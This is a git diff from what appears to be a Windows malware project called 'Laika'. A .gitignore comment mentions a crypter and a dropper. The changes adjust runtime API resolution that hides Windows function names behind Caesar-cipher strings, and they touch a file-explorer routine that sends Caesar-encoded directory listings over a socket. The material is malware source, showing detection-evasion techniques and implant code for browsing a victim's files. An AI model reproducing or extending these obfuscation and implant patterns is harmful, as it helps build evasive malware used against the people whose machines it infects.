diff --git a/.gitignore b/.gitignore
index dd4ccd6..d4c570d 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,8 +1,7 @@
#le crypter est en WIP, pas sûr de le faire jusqu'au bout, peut-être faire un obfuscateur à la place
.vim
Laika/.vs
-Laika/Release
-Laika/Debug
+Laika/release
Crypter/.vs
Crypter/x64
Dropper/
\ No newline at end of file
diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj
index 400fa87..f4db323 100644
--- a/Laika/Laika.vcxproj
+++ b/Laika/Laika.vcxproj
@@ -28,7 +28,7 @@
Application
- false
+ true
v143
Unicode
@@ -71,8 +71,7 @@
- false
- false
+ true
false
@@ -88,6 +87,19 @@
false
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+ stdcpp20
+
+
+ Console
+ true
+
+
+
Level3
true
@@ -110,38 +122,6 @@
main
- true
-
-
-
-
- Level3
- true
- true
- false
- WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
- true
- stdcpp20
- MinSpace
- MultiThreadedDebug
- false
- CompileAsC
- AnySuitable
- Size
- true
- true
-
-
- Console
- true
- true
- true
- true
- main
-
-
- /LTCG %(AdditionalOptions)
- true
diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c
index 3a183eb..0d4a70d 100644
--- a/Laika/file_explorer.c
+++ b/Laika/file_explorer.c
@@ -29,7 +29,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
wcscat(searchPath, L"\\*.*");
- hFind = Api.FindFirstFileW(searchPath, &findData);
+ hFind = FindFirstFile(searchPath, &findData);
if (hFind == INVALID_HANDLE_VALUE) {
return NULL;
}
@@ -59,7 +59,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1);
Api.strcpy(fileList[numFound], CAESAR(fileName));
numFound++;
- } while (Api.FindNextFileW(hFind, &findData) != 0);
+ } while (FindNextFile(hFind, &findData) != 0);
Api.FindClose(hFind);
diff --git a/Laika/main.c b/Laika/main.c
index f934679..75da530 100644
--- a/Laika/main.c
+++ b/Laika/main.c
@@ -446,10 +446,10 @@ retry:
}
}
}
- /* Never called
+
Api.closesocket(sock);
FreeApis();
- */
+
return 0;
}
\ No newline at end of file
diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c
index 8cb611c..89e1e34 100644
--- a/Laika/resolve_apis.c
+++ b/Laika/resolve_apis.c
@@ -12,8 +12,8 @@ void InitApis() {
return;
}
+ Api.CreateFileW = (TCreateFileW)GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
- Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj"));
@@ -29,8 +29,6 @@ void InitApis() {
Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx"));
Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw"));
- Api.FindFirstFileW = (TFindFirstFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiKnwxyKnqj\\"));
- Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\"));
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
if (!hMsvcrt) {
@@ -74,10 +72,8 @@ void InitApis() {
Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy"));
}
-/* Never called
void FreeApis() {
Api.FreeLibrary(hWininet);
Api.FreeLibrary(hMsvcrt);
Api.FreeLibrary(hKernel32);
-}
-*/
\ No newline at end of file
+}
\ No newline at end of file
diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h
index 0f3f6d8..27bf066 100644
--- a/Laika/resolve_apis.h
+++ b/Laika/resolve_apis.h
@@ -55,8 +55,6 @@ typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* TFindClose)(HANDLE);
typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int);
-typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW);
-typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW);
typedef struct ApiList {
Tconnect connect;
@@ -93,8 +91,6 @@ typedef struct ApiList {
TFindClose FindClose;
TGetLogicalDrives GetLogicalDrives;
TMultiByteToWideChar MultiByteToWideChar;
- TFindFirstFileW FindFirstFileW;
- TFindNextFileW FindNextFileW;
Tmbstowcs mbstowcs;
Twcstombs wcstombs;
@@ -114,4 +110,4 @@ typedef struct ApiList {
} API;
void InitApis();
-//void FreeApis(); Never called
\ No newline at end of file
+void FreeApis();
\ No newline at end of file